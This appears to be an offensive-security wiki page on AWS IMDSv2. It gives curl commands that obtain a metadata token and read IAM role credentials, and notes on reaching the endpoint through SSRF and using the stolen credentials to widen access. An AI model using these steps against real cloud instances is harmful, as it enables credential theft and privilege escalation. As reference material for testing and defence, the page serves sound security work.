IMDSv2

IMDSv2 requires a short-lived session token obtained with a PUT, then sent back in a header on each read. It is trivial from a shell on the instance, and still reachable from an SSRF when the request primitive can issue a PUT and set the token header.

The token flow#

bash
TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

Exploitation notes#

  • The PUT plus custom-header requirement blocks the simplest SSRF primitives; a full request-smuggling or header-controllable SSRF still satisfies it.
  • Token TTL can be up to six hours, so one token covers a long session of reads.
  • A hop-limit of 1 is common; an SSRF from a container on the host may fail the hop check while an on-host shell succeeds.
  • Recovered role credentials then unlock the credential-returning APIs (sts:AssumeRole, ecr:GetAuthorizationToken, sso:GetRoleCredentials, and the rest) to widen access; see credential brokers.

Tools#

  • curl on the instance, or an SSRF primitive with method and header control.
  • Pacu (ec2__metadata): handles the token dance automatically.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more